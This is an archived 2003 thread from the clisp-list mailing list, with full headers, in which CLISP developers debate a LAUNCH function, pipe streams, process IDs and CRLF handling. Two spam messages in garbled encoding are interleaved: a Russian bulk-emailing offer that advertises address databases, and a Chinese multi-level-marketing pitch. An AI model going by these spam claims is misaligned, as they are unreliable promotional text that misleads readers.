(http://www.podval.org/~sds) running RedHat9 GNU/Linux History doesn't repeat itself, but historians do repeat each other. From sds@gnu.org Thu Jun 05 12:00:53 2003 Received: from out002pub.verizon.net ([206.46.170.141] helo=out002.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Nzyn-00038p-00 for ; Thu, 05 Jun 2003 12:00:53 -0700 Received: from loiso.podval.org ([141.149.176.45]) by out002.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20030605190040.XXPW13328.out002.verizon.net@loiso.podval.org>; Thu, 5 Jun 2003 14:00:40 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.8/8.12.8) with ESMTP id h55J0F1g029923; Thu, 5 Jun 2003 15:00:20 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.8/8.12.7/Submit) id h55J06Xu029918; Thu, 5 Jun 2003 15:00:06 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: Re[2]: [clisp-list] Separate Unix error stream keyword for ext:ru n-shell-command References: <9F8582E37B2EE5498E76392AEDDCD3FE04C673F8@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE04C673F8@G8PQD.blf01.telekom.de> Message-ID: Lines: 133 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out002.verizon.net from [141.149.176.45] at Thu, 5 Jun 2003 14:00:37 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jun 5 12:01:11 2003 X-Original-Date: 05 Jun 2003 15:00:05 -0400 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE04C673F8@G8PQD.blf01.telekom.de> > * On the subject of "Re[2]: [clisp-list] Separate Unix error stream keyword for ext:ru n-shell-command" > * Sent on Thu, 5 Jun 2003 18:05:07 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > here are my (unasked for) comments on this issue: ?? comments are always welcome, especially from a CLISP developer with your experience!! > >> I'm slighltly confused about making it user-level. It is very similar > >> to run-program and run-shell-command but it is more `direct' and does > > >We already have a whole bunch of built-in functions that do > >similar things: SHELL, MAKE-PIPE-INPUT-STREAM, MAKE-PIPE-OUTPUT-STREAM, > >MAKE-PIPE-IO-STREAM. > >That's more than enough. > >I want to have just one single built in. > >Let us make LAUNCH user-level only when it has absorbed all the > >functionality of the 4 other commands, and implement them as calling > >LAUNCH and deprecate them. > > I'm opposed to such global removal. It's would be a Schemesque > approach (i.e. "why do you need > catch/throw/block/return/ignore-errors/handler-case when all is needed > is call/cc?"). I am saying that SHELL & MAKE-PIPE-*-STREAM should be implemented on top of LAUNCH. This is called "code reuse". > Please leave in a kiss-style (SHELL &optional cmd+args), which does several things: > + ability to suspend CLISP, portably invoking a user-shell shell > (please don't tell me that I can just open another X window). (LAUNCH "" :INDIRECT T) > + ability to trust the programmer or user when s/he knows exactly what > to pass to the shell instead of having CLISP second-guess quoting issues > on all systems or situations where the execvlpe() family of calls may > not be used. Second-guessing is always going to fail in some situations, > typically where a cygwin-compiled program tries to invoke a native one, > or vice-versa. (LAUNCH "your command line here" :INDIRECT T) > o Similarly, make-pipe-... stream are easy to comprehend and > relatively easy to implement, even without a full-featured > launch. E.g. On AmigaOS, it could be nothing more than (open "APIPE:ls > mydev:foo sort" :direction :input), on systems where the freeware > APIPE device handler is installed. (defun MAKE-PIPE-INPUT-STREAM (cmd &rest options) (LAUNCH cmd :INDIRECT T :INPUT `(:STREAM ,options) :OUTPUT NIL :ERROR NIL)) > >(with-open-file (null "/dev/null" :direction :output :if-exists :append) > o Please support :stream nil or some such convention, because having > the programmer to use "/dev/null" in code will immediately loose the > portability that CLISP tries to maintain. of course. it's just that it is not clear yet how to do this. > o a PID is an abstract data type where portability matters. On UNIX > it's known to be a small integer (for better or worse[*]), on > MS-Windows it may very well be a pointer (don't know), and on AmigaOS > it *is* a pointer. It will be hard for (LAUNCH :asynchronous t) to > return a portable thing -- at least return an abstract/opaque thing. FOREIGN-POINTER is an option, then. > In some situations (e.g. rexx-send-command) we used to just return a > FOREIGN-POINTER object. Formerly, we used a simple bit-vector -- at > least it was something else than an integer, and EQ-ness could be > checked for, preventing fake arguments! > What I mean here is it can be enough to agree to either document that > the exact type is purposely not documented and to be considered > opaque, even though it may happen to be an integer on some systems, or > document all OS cases. > (dotimes (i 10000) (posix:kill i)) is perfectly fine, since for POSIX, > pids are tiny integers (or am I wrong here?). making a new opaque type PID would mean adding a function MAKE-PID &c &c. > Enough said, maybe I shall go Python instead. huh? are you jumping the ship? > o I consider execxyz() a good thing, because it avoids tcl-style > madness (the quoting problem, also known to linguists) to some > extent. BTW, did you ever use find -o or -exec on UNIX? of course! > o I also consider having EXT:[:]LAUNCH a good thing (but not that > MS-Windows specific :indirect keyword, which is not understandable per > se). it's nor woe32-specific! > o I'd maybe provide a portable :priority setting (:high/:low/:normal > mapping to OS&context dependent values) for portability-aware > programmers. It's just cheap to do so. problem is that you cannot raise priority on Unix unless you are root. we can add a table, e.g., :high -> "-5", :low -> "+5"... > o Having two distinct Lisp-side streams for reading stdout & stderr > command output can result in deadlocks. that's what SOCKET-STATUS is for! > o An advantage of MAKE-PIPE-*-STREAM over LAUNCH is that it does not > have to deal with producing PID objects/values that the programmer > doesn't care about. That's another reason why it's easier to implement > or provide portably (cf. call/cc). that's trivial compared with the rest. > o BTW, I think I've seen MAKE-PIPE-*-STREAM produce zombies (or just > unusable processes) on Linux (e.g. forgetting about the stream and > having the GC get (or not?) rid of it). GC should kill the zombies. doesn't it? GC is not deterministic, so it might never actually collect the specific stream. -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux (let ((a "(let ((a %c%s%c)) (format a 34 a 34))")) (format a 34 a 34)) From 2il2s6du@delphi.com Thu Jun 05 13:58:01 2003 Received: from [81.220.67.188] (helo=81.220.67.188) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19O1o8-0001sR-00 for ; Thu, 05 Jun 2003 13:58:00 -0700 From: 237374@earthlink.net X-Mailer: Web Mail 5.0.11-9 Reply-To: 237374@bigfoot.com Organization: 200207884 X-Priority: 3 (Normal) To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/html; charset=Windows-1251 Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list] 237374 Ïðîôåññèîíàëüíûå E-mail ðàññûëêè 1874077607 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jun 5 13:58:10 2003 X-Original-Date: Fri, 06 Jun 2003 05:03:14 -0500 Ïðîôåññèîíàëüíûå E-mail ðàññûëêè
Çäðàâñòâóéòå.

Ïðåäëàãàåì ðåêëàìó Âàøåãî òîâàðà èëè óñëóãè â Èíòåðíåò ñ ïîìîùüþ ýëåêòðîííûõ e-mail ðàññûëîê.

Íà ñåãîäíÿøíèé äåíü ðåêëàìíàÿ ðàññûëêà ïî e-mail ÿâëÿåòñÿ îäíèì èç ñàìûõ ýôôåêòèâíûõ, äîñòóïíûõ è äåøåâûõ ñïîñîáîâ ðåêëàìû. Çàïëàòèâ ñîâñåì íåáîëüèå äåíüãè, è âñåãî çà îäèí äåíü, Âàøå ïðåäëîæåíèå äîñòàâëÿåòñÿ ñðàçó ñîòíÿì òûñÿ÷ ëþäåé, ÷òî íè ïî îáú¸ìàì, íè ïî ñòîèìîñòè íå ñðâíèìî ñ äðóãèìè ìàññîâûìè ñïîñîáàìè ðåêëàìû.

Íàøà êîìïàíèÿ ïðîôåññèîíàëüíî çàíèìàåòñÿ ìàññîâûìè e-mail ðàññûëêàìè óæå áîëåå 3-õ ëåò. Ó íàñ â íàëè÷èå áîëüøîé âûáîð áàç e-mail àäðåñîâ ïî Ðîññèè è âñåìó ìèðó. Ìû ïîñòîÿííî ïîïîëíÿåì, ïðîâåðÿåì íà âàëèäíîñòü è óíèêàëüíîòü íàøè áàçû e-mail àäðåñîâ.

Äëÿ íàøåé ðàáîòû èñïîëüçóþòñÿ âûñîêîñêîðîñòíûå êàíàëû äîñòóïà â Èíòåðíåò, âûäåëåííûå ñåðâåðà è ïîñëåäíèå òåõíîëîãèè e-mail ðàññûëîê, ÷òî ãàðàíòèðóåò âûñîêóþ ñêîðîñòü è êà÷åñòâî ðàáîòû.

Óçíàòü âñå ïîäðîáíîñòè è çàêàçàòü ðàññûëêó ìîæíî ïî òåë. 517-33-52.

Çâîíèòå! Íàøè öåíû Âàñ ïðèÿòíî óäèâÿò.





Ïðèíîñèì èçâèíåíèÿ, åñëè íàøå ñîîáùåíèå ïðè÷èíèëî Âàì êàêîå-òî íåóäîáñòâî. Âàø ýëåêòðîííûé àäðåñ áûë âçÿò èç îòêðûòûõ èñòî÷íèêîâ. Äàííàÿ ðàññûëêà îñóùåñòâëåíà â ñîîòâåòñòâèè ñ ÷.4 ñò.29 Êîíñòèòóöèè ÐÔ è ÷.1 ñò.27 Ôåäåðàëüíîãî Çàêîíà ÐÔ îò 16 ôåâðàëÿ 1995 ãîäà ¹ 15-ÔÇ.

237374 A7FBCD9-B8FF1F3-E71EF07-1FEF1443-18DD9A9F 353555583
From ampy@ich.dvo.ru Thu Jun 05 16:58:34 2003 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19O4cc-0005om-00 for ; Thu, 05 Jun 2003 16:58:19 -0700 Received: from ppp59-AS-1.vtc.ru (ppp59-AS-1.vtc.ru [212.16.216.59]) by vtc.ru (8.12.9/8.12.9) with ESMTP id h55NvgjI003419 for ; Fri, 6 Jun 2003 10:57:50 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <1932875274.20030606110246@ich.dvo.ru> To: clisp-list@lists.sourceforge.net Subject: Re[3]: [clisp-list] Separate Unix error stream keyword for ext:ru n-shell-command In-reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE04C673F8@G8PQD.blf01.telekom.de> References: <9F8582E37B2EE5498E76392AEDDCD3FE04C673F8@G8PQD.blf01.telekom.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jun 5 16:59:10 2003 X-Original-Date: Fri, 6 Jun 2003 11:02:46 +1000 Hi, Friday, June 06, 2003, 2:05:07 AM, you wrote: >>> I'm slighltly confused about making it user-level. It is very similar >>> to run-program and run-shell-command but it is more `direct' and does >>We already have a whole bunch of built-in functions that do >>similar things: SHELL, MAKE-PIPE-INPUT-STREAM, MAKE-PIPE-OUTPUT-STREAM, >>MAKE-PIPE-IO-STREAM. >>That's more than enough. >>I want to have just one single built in. >>Let us make LAUNCH user-level only when it has absorbed all the >>functionality of the 4 other commands, and implement them as calling >>LAUNCH and deprecate them. > I'm opposed to such global removal. It's would be a Schemesque approach (i.e. > "why do you need catch/throw/block/return/ignore-errors/handler-case when all is needed is call/cc?"). I'm "against" only run-program and run-shell-command on windows. I wanted to improve them by making lowlevel supporting function, but actually LAUNCH almost duplicates them. It should be improved however. >>But I have never created lisp types from scratch. > In some situations (e.g. rexx-send-command) we used to just return a FOREIGN-POINTER object. > Formerly, we used a simple bit-vector -- at least it was something else than an integer, and EQ-ness > could be checked for, preventing fake arguments! > What I mean here is it can be enough to agree to either document that the exact type is purposely > not documented and to be considered opaque, even though it may happen to be an integer on some > systems, or document all OS cases. FOREIGN-POINTER will introduce dependency on FFI! > What I did not say (yet): > o I consider execxyz() a good thing, because it avoids tcl-style madness (the quoting problem, also known to linguists) to some extent. BTW, did you ever use find -o or -exec on UNIX? execxyz gives no way to redirect streams on windows, that's why we use CreateProcess (I think) and bearing with quoting. -- Best regards, Arseny From ampy@ich.dvo.ru Thu Jun 05 16:59:16 2003 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19O4dU-0005oL-00 for ; Thu, 05 Jun 2003 16:59:13 -0700 Received: from ppp59-AS-1.vtc.ru (ppp59-AS-1.vtc.ru [212.16.216.59]) by vtc.ru (8.12.9/8.12.9) with ESMTP id h55NvgjG003419 for ; Fri, 6 Jun 2003 10:57:47 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <1864370093.20030605224123@ich.dvo.ru> To: clisp-list@lists.sourceforge.net Subject: Re[4]: [clisp-list] Separate Unix error stream keyword for ext:run-shell-command In-reply-To: <1054794594.19773.17.camel@work.consulting.net.nz> References: <1054689769.3310.24.camel@work.consulting.net.nz> <15329851764.20030605005129@ich.dvo.ru> <1054794594.19773.17.camel@work.consulting.net.nz> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jun 5 17:00:05 2003 X-Original-Date: Thu, 5 Jun 2003 22:41:23 +1000 Hello Adam, Thursday, June 05, 2003, 4:29:54 PM, you wrote: > Is there any way to currently avoid output to a file without outputting > to a terminal? Currently there is not, but I'll try to make it. -- Best regards, Arseny From ampy@ich.dvo.ru Thu Jun 05 17:03:40 2003 Received: from panoramix.vasoftware.com ([198.186.202.147]) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19O4go-0006ac-00 for ; Thu, 05 Jun 2003 17:02:38 -0700 Received: from ints.vtc.ru ([212.16.193.34]:46837 helo=vtc.ru) by panoramix.vasoftware.com with esmtp (Exim 4.05-VA-mm1 #1 (Debian)) id 19O4gM-0004RP-00 for ; Thu, 05 Jun 2003 17:02:10 -0700 Received: from ppp59-AS-1.vtc.ru (ppp59-AS-1.vtc.ru [212.16.216.59]) by vtc.ru (8.12.9/8.12.9) with ESMTP id h55NvgjH003419 for ; Fri, 6 Jun 2003 10:57:49 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <581360556.20030606103731@ich.dvo.ru> To: clisp-list@lists.sourceforge.net In-reply-To: References: <434162114.20030605093108@ich.dvo.ru> <1939103870.20030605105329@ich.dvo.ru> Mime-Version: 1.0 Subject: Re[2]: [clisp-list] Re: Re[4]: Separate Unix error stream keyword for ext:run-shell-command Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-4.4 required=7.0 tests=IN_REP_TO version=2.21 X-Spam-Level: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jun 5 17:04:05 2003 X-Original-Date: Fri, 6 Jun 2003 10:37:31 +1000 Hello Sam, Thursday, June 05, 2003, 11:01:48 AM, you wrote: >> No guarantee we will not want to store additional info some day. > like what? a process is a just a process ID. > all other information can be accessed via a system call. For perfect oses it is, but there's always various quirks. >> Another way I like even more - to make unopened make-pipe-*-stream and >> pass it as stream to launch - how do you like it ? > I don't think I like this. > how is > (launch ... :input (make-pipe-input-stream)) > better than > (launch ... :input :stream) > ? > if the only thing you can do with the return value of > MAKE-PIPE-INPUT-STREAM is pass it to LAUNCH, then this is not a good > idea, IMO. No! It's just the value return method. LAUNCH initializes (second half of initialization) pipe-stream, then the user works with it. (setf stream (make-pipe-input-stream)) (launch ... :output stream) ;initializes stream (read stream) As I undestand, pipe-input-stream should be supplies as :output argument since the program outputs to it and lisp side inputs. What I want (user) to avoid - to parse output value lists depending on parameters supplied. I.e. if :input was :create then we get 2 values. First value is pid if only :wait was nil. If :wait wasn't nil... BTW, how pipes will work with :wait t. -- Best regards, Arseny From sixterplus@yahoo.com.tw Thu Jun 05 17:17:00 2003 Received: from 218-168-44-234.hinet-ip.hinet.net ([218.168.44.234] helo=yahoo.com.tw) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19O4uf-0002ct-00 for ; Thu, 05 Jun 2003 17:16:59 -0700 From: =?ISO-8859-1?B?udq3UaaotE6qzA==?= To: clisp-list@lists.sourceforge.net Reply-To: sixterplus@yahoo.com.tw MIME-Version: 1.0 Content-Type: text/html Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list] =?ISO-8859-1?B?rvi2T6rMwXC3+Q==?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jun 5 17:17:10 2003 X-Original-Date: 06 Jun 2003 08:17:52 +0800 ®ø¶O·sª¾

®ø¶OÁp·ù(®ø¶O·sª¾)

¥@¬É­º´I¤ñº¸»\¯÷»¡¡G¡u´x´¤³q¸ô¡A´N¬OĹ®a¡C¡v³\¦h±M®a§óª½¨¥¤Ü¤@¥@¬ö±N¬Oºô¸ô¦æ¾Pªº¥@¬ö¡C³z¹Lºô¸ô§â®ø¶OªÌµ²¦X°_¨Ó¡A´x´¤¤F³q¸ô´N¥iµo´§·¥¤jªº¼vÅT¤O¡C ¦pªG¯à¦A¥H³Ì¨Îªºª«¬y¨t²Î¡Aµ²¦X°]´I²Ö¿n­¿¼Wªk«hªº²z©À¡A±N¬O¤Ü¤@¥@¬ö³Ì«lÃzªº¨Æ·~ÁͶաC

³sÂê¶W°Ó(¥«) ¨Æ·~º[¥þ¥Á®ø¶OÁp·ù¡C¥u­n¤@°_¦¨¬°¼s§i¦ÑÁó¡A§YÅý±z¨ú±o¥þ¬Ù40®a¥H¤W¶W°Óªº¸gÀçÅv¡CÅý±z¦b®ø¶O®É¨É¦³³ÌÀu´f»ù®æ¡A¨Ã¨C¤ë²Ö¿nªº¬õ§QÂI¼Æ20%´«ºâ¦¨²{ª÷¡Aª½±µ¶×¤J±zªº±b¤á¡C¦Aµ²¦Xºô¸ô¦æ¾P¡A¹q¤l°Ó°È¡A¦v°tªA°È¡A¦Ê·~µ²·ù.....µ¥Åý±z¤£¥u¬O®ø¶OªÌ¦P®É¤]¬O¦¹¨Æ·~Å餧¤À¬õªÑªF¡C

http://mjlife.elt.com.hk>>§¹¾ã²z©À¤¶²Ð         http://leader.vite.com.tw  >>½u¤WÁʪ«¾÷¨î 

  ¦p¦óÀ°§U§A§Ö³t¦¨¥\

»{ÃѧڱN¬O§A¦¨¥\³Ì¨Î«OÃÒ

§Q¥Î±ß¤W¼W¥[¤@¥÷¦¬¤J!!

¡@

§K¶O ¶Ç±Âºô¸ô

§K¶O ¬[³]¥æ©ö¾÷¨îªººô¯¸

µ¹§Ú30¤ÀÄÁ

±z±N¦³¥þ·sªº«äºû¨Ó¤F¸Ñ

§Ö³t¦¨¥\ªºknow-how

§A¤@©w­n¨Ó¤F¸Ñ! §ÚÅK©wÅý§Aº¡·N!
±zªº©m¦W¡G¡@
Ápµ¸¹q¸Ü¡G¡@
±zªº¦a§}¡G¡@
¹q¤l«H½c¡G¡@

²`¤J¤F¸Ñ¡G
§Ú·Q¨£³o¨Ç¤ë¤J¤Q¸Uªº¤H
§Ú·Q¤F¸Ñ¨t²Îµ¹§Úªº¤ä´©
¥J²Ó¤F¸Ñ¬°¦ó¥­¤Z¤H¤]¯à°÷¦¨¥\
§Ú·Q°Ñ¥[¥[·ù»¡©ú·|

³o¤£¬O¤@­Ó¤£³Ò¦ÓÀò©Î§ë¾÷¨ú¥©ªº¥Í·N¡A¦Ó¬OÅý¨S¦³°]¤O­I´º«oÄ@·N§V¤O¥I¥X¡A§ïÅܦۤv«D¤Z¦¨¥\ªº¦a¤è¡A§Ú­Ì¦b³o¸Ì§ïÅܦۤv¨Ã¾Ç²ß¦¨¥\ªº²ßºD¡A¥Î¹ïªº¤èªk§@¹ïªº¨Æ¡A¤£®ö¶OºN¯Áªº®É¶¡¸òµÛ§¹¾ãªº±Ð¨|§Ö³t¦¨ªø¡A¦pªG§A¬O·Q­n¤£³Ò¦ÓÀò©Î°½Ãi¨ú¥©¥ç©Î¬O¤£¯à±µ¨ü¬°¤F¦¨¥\¦Ó§ïÅܦۤvªºÃa²ßºDªº¤H¡A½Ð¤£­n¯d¤U¸ê®Æ¥H§K®ö¶O©¼¦¹ªº®É¶¡¡C

From edi@agharta.de Thu Jun 05 17:57:55 2003 Received: from trane.agharta.de ([62.159.208.82] helo=bird.agharta.de) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19O5YF-0002MA-00 for ; Thu, 05 Jun 2003 17:57:51 -0700 Received: by bird.agharta.de (Postfix, from userid 1000) id F3595260467; Fri, 6 Jun 2003 02:57:43 +0200 (CEST) To: clisp-list@lists.sourceforge.net Reply-To: edi@agharta.de From: Edi Weitz Message-ID: <874r3481ko.fsf@bird.agharta.de> Lines: 18 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] string-input-streams and crlf conversion Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jun 5 17:58:09 2003 X-Original-Date: 06 Jun 2003 02:57:43 +0200 Sorry for the Perl code but this seems to be the shortest way to describe my problem: edi@bird:/tmp > perl -e 'print "(with-input-from-string (s \"\r\") (print (read-char s))) (quit)"' > foo.lisp edi@bird:/tmp > /usr/local/bin/clisp foo.lisp #\Newline edi@bird:/tmp > /usr/local/bin/cmucl -noinit -quiet -load foo.lisp #\Return I expected CLISP to also return #\Newline. I've read the implementation notes about encodings and specifically but I couldn't figure out how to change this behaviour. Or can't I? Thanks, Edi. From sds@gnu.org Thu Jun 05 19:19:00 2003 Received: from out003pub.verizon.net ([206.46.170.103] helo=out003.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19O6ol-0004ar-00 for ; Thu, 05 Jun 2003 19:18:59 -0700 Received: from loiso.podval.org ([141.149.176.45]) by out003.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20030606021853.AKE4805.out003.verizon.net@loiso.podval.org>; Thu, 5 Jun 2003 21:18:53 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.8/8.12.8) with ESMTP id h562Iq1g031253; Thu, 5 Jun 2003 22:18:52 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.8/8.12.7/Submit) id h562IoFm031249; Thu, 5 Jun 2003 22:18:50 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Arseny Slobodjuck Cc: clisp-list@lists.sourceforge.net Subject: Re: Re[3]: [clisp-list] Separate Unix error stream keyword for ext:ru n-shell-command References: <9F8582E37B2EE5498E76392AEDDCD3FE04C673F8@G8PQD.blf01.telekom.de> <1932875274.20030606110246@ich.dvo.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <1932875274.20030606110246@ich.dvo.ru> Message-ID: Lines: 25 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out003.verizon.net from [141.149.176.45] at Thu, 5 Jun 2003 21:18:52 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jun 5 19:19:02 2003 X-Original-Date: 05 Jun 2003 22:18:49 -0400 > * In message <1932875274.20030606110246@ich.dvo.ru> > * On the subject of "Re[3]: [clisp-list] Separate Unix error stream keyword for ext:ru n-shell-command" > * Sent on Fri, 6 Jun 2003 11:02:46 +1000 > * Honorable Arseny Slobodjuck writes: > > FOREIGN-POINTER will introduce dependency on FFI! nope. FOREIGN-POINTER depends on FOREIGN which is defined on UNIX, AMIGA, and WIN32 (via DIR_KEY). > > o I consider execxyz() a good thing, because it avoids tcl-style > > madness (the quoting problem, also known to linguists) to some > > extent. BTW, did you ever use find -o or -exec on UNIX? > execxyz gives no way to redirect streams on windows, that's why we use > CreateProcess (I think) and bearing with quoting. I see. this boils down to the effective absence of dup2() on woe32. could you please find out how cygwin implements dup2? -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux Lisp: Serious empowerment. From sds@gnu.org Thu Jun 05 19:22:58 2003 Received: from pop017pub.verizon.net ([206.46.170.210] helo=pop017.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19O6sc-0005Gz-00 for ; Thu, 05 Jun 2003 19:22:58 -0700 Received: from loiso.podval.org ([141.149.176.45]) by pop017.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20030606022248.CKIY27254.pop017.verizon.net@loiso.podval.org>; Thu, 5 Jun 2003 21:22:48 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.8/8.12.8) with ESMTP id h562Ml1g031267; Thu, 5 Jun 2003 22:22:47 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.8/8.12.7/Submit) id h562Mloi031263; Thu, 5 Jun 2003 22:22:47 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: edi@agharta.de Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] string-input-streams and crlf conversion References: <874r3481ko.fsf@bird.agharta.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <874r3481ko.fsf@bird.agharta.de> Message-ID: Lines: 26 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop017.verizon.net from [141.149.176.45] at Thu, 5 Jun 2003 21:22:48 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jun 5 19:23:02 2003 X-Original-Date: 05 Jun 2003 22:22:47 -0400 > * In message <874r3481ko.fsf@bird.agharta.de> > * On the subject of "[clisp-list] string-input-streams and crlf conversion" > * Sent on 06 Jun 2003 02:57:43 +0200 > * Honorable Edi Weitz writes: > > edi@bird:/tmp > perl -e 'print "(with-input-from-string (s \"\r\") (print (read-char s))) (quit)"' > foo.lisp > edi@bird:/tmp > /usr/local/bin/clisp foo.lisp > #\Newline > > I expected CLISP to also return #\Newline. I've read the > implementation notes about encodings and specifically > but I > couldn't figure out how to change this behaviour. Or can't I? you can't. discussion is welcome. -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux When you talk to God, it's prayer; when He talks to you, it's schizophrenia. From sds@gnu.org Thu Jun 05 19:29:02 2003 Received: from out006pub.verizon.net ([206.46.170.106] helo=out006.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19O6yU-0006ER-00 for ; Thu, 05 Jun 2003 19:29:02 -0700 Received: from loiso.podval.org ([141.149.176.45]) by out006.verizon.net (InterMail vM.5.01.05.33 